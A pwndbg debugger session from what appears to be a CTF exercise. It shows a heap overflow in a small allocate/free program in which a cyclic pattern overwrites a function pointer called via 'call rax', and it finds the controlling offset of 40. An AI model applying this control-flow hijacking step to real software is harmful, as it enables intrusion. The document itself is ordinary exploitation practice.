Copy
pwndbg> r
Starting program: /home/kali/Desktop/CTF-New/greywelcome/dist-sunshinefactory/sunshinefactory_patched
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Choose an option:
1. Allocate sunshine
2. Free sunshine
> 1
Enter sunshine size needed: 8
Enter sunshine content: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaa
Sunshine created!
Choose an option:
1. Allocate sunshine
2. Free sunshine
> 2
Breakpoint 1, 0x0000555555555539 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ REGISTERS / show-flags off / show-compact-regs off ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
RAX 0x6161616161616166 ('faaaaaaa')
RBX 0x7fffffffdad8 โโธ 0x7fffffffdeb6 โโ '/home/kali/Desktop/CTF-New/greywelcome/dist-sunshinefactory/sunshinefactory_patched'
RCX 0x91
RDX 8
RDI 0x5555555592c0 โโ 'eaaaaaaafaaaaaaagaaaaaaa\n'
RSI 0x7fffffffd9b0 โโ 0xdc414afd9e823e91
R8 1
R9 0
R10 0x7ffff7f39fe0 (_nl_C_LC_CTYPE_toupper+512) โโ 0x100000000
R11 0xa
R12 0
R13 0x7fffffffdae8 โโธ 0x7fffffffdf0a โโ 'COLORFGBG=15;0'
R14 0x7ffff7ffd000 (_rtld_global) โโธ 0x7ffff7ffe310 โโธ 0x555555554000 โโ 0x10102464c457f
R15 0x555555557d68 (__do_global_dtors_aux_fini_array_entry) โโธ 0x555555555260 (__do_global_dtors_aux) โโ endbr64
RBP 0x7fffffffd9c0 โโ 1
RSP 0x7fffffffd980 โโ 0x300000002
RIP 0x555555555539 (main+521) โโ call rax
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ DISASM / x86-64 / set emulate on ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โบ 0x555555555539 <main+521> call rax <0x6161616161616166>
0x55555555553b <main+523> jmp main+125 <main+125>
โ
0x5555555553ad <main+125> mov eax, 0 EAX => 0
0x5555555553b2 <main+130> call banner <banner>
0x5555555553b7 <main+135> lea rax, [rbp - 0x40]
0x5555555553bb <main+139> mov rsi, rax
0x5555555553be <main+142> lea rax, [rip + 0xcab] RAX => 0x555555556070 โโ 0x7265746e45006425 /* '%d' */
0x5555555553c5 <main+149> mov rdi, rax
0x5555555553c8 <main+152> mov eax, 0 EAX => 0
0x5555555553cd <main+157> call __isoc99_scanf@plt <__isoc99_scanf@plt>
0x5555555553d2 <main+162> call getchar@plt <getchar@plt>
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ STACK ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
00:0000โ rsp 0x7fffffffd980 โโ 0x300000002
01:0008โ-038 0x7fffffffd988 โโ 8
02:0010โ-030 0x7fffffffd990 โโธ 0x5555555592e0 โโธ 0x5555555592a0 โโ 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaa\n'
03:0018โ-028 0x7fffffffd998 โโธ 0x5555555592a0 โโ 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaa\n'
04:0020โ-020 0x7fffffffd9a0 โโธ 0x5555555592c0 โโ 'eaaaaaaafaaaaaaagaaaaaaa\n'
05:0028โ-018 0x7fffffffd9a8 โโธ 0x5555555592e0 โโธ 0x5555555592a0 โโ 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaa\n'
06:0030โ rsi 0x7fffffffd9b0 โโ 0xdc414afd9e823e91
07:0038โ-008 0x7fffffffd9b8 โโ 0xa20d05646bf7a600
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ[ BACKTRACE ]โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โบ 0 0x555555555539 main+521
1 0x7ffff7dd4ca8 __libc_start_call_main+120
2 0x7ffff7dd4d65 __libc_start_main+133
3 0x5555555551e5 _start+37
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
pwndbg> cyclic -l 0x6161616161616166
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40